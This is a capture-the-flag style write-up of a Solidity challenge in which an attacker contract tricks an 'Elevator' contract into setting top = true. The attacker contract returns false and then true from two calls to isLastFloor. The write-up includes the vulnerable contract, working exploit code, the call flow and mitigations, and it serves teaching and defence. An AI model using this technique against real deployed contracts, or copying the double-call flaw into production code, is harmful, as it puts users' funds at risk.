Skip to main content

Elevator — “Fool the Lift”


Description​

This elevator won’t let you reach the top floor… unless you can trick it.

The Elevator contract relies on an external Building to tell it whether a floor is the last one. It asks twice and assumes the answer won’t change. Your goal is to exploit that assumption so the elevator sets top = true.

Things that might help:

  • Sometimes Solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

Code​

Below is the code the player receives.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

What to notice​

  • Elevator.goTo trusts the caller (msg.sender) to implement Building.

  • It calls isLastFloor twice:

    1. First to decide whether to enter the if.
    2. Second to set top.
  • If those two answers differ (first false, then true), top becomes true.


Goal​

  • Set Elevator.top() to true.

Attacker Contract (Solution)​

We’ll implement Building in a malicious contract that flips its answer between calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract Attack is Building {
Elevator public target;
bool private toggle;

constructor(address _elevator) {
target = Elevator(_elevator);
toggle = true; // we'll flip this on each call
}

function attack(uint256 _floor) public {
// We call the victim; inside it will call back to our isLastFloor twice
target.goTo(_floor);
}

// The trick: return false the first time, true the second time.
function isLastFloor(uint256) external override returns (bool) {
toggle = !toggle;
return toggle;
}
}

Step-by-Step Attack Flow​

  1. Deploy Elevator. Keep its address handy (e.g., 0x...Elevator).

  2. Deploy Attack with the Elevator address in the constructor.

  3. Trigger the exploit: call Attack.attack(42) (any floor number works).

  4. Call sequence under the hood:

    • Attack.attack → Elevator.goTo(42)

    • Inside goTo, Elevator treats msg.sender as Building → calls Attack.isLastFloor(42)

      • First call: toggle flips from true → false; returns false
      • if (!false) is true, so it enters the block and sets floor = 42
    • Then Elevator calls Attack.isLastFloor(42) again

      • Second call: toggle flips from false → true; returns true
      • top = true
  5. Check success: Elevator.top() now returns true.


Why This Works (in simple terms)​

The victim contract assumes an external function will give the same answer each time. But external calls are untrusted and can depend on mutable state. By returning a different value on the second call, we steer the elevator into setting top = true.


Mitigation Ideas​

  • Call isLastFloor once, store the result, and reuse it:

    bool last = building.isLastFloor(_floor);
    if (!last) {
    floor = _floor;
    top = last; // still false
    }
  • Avoid relying on untrusted external contracts for security-critical checks.

  • Prefer internal invariants or whitelisting trusted Building implementations.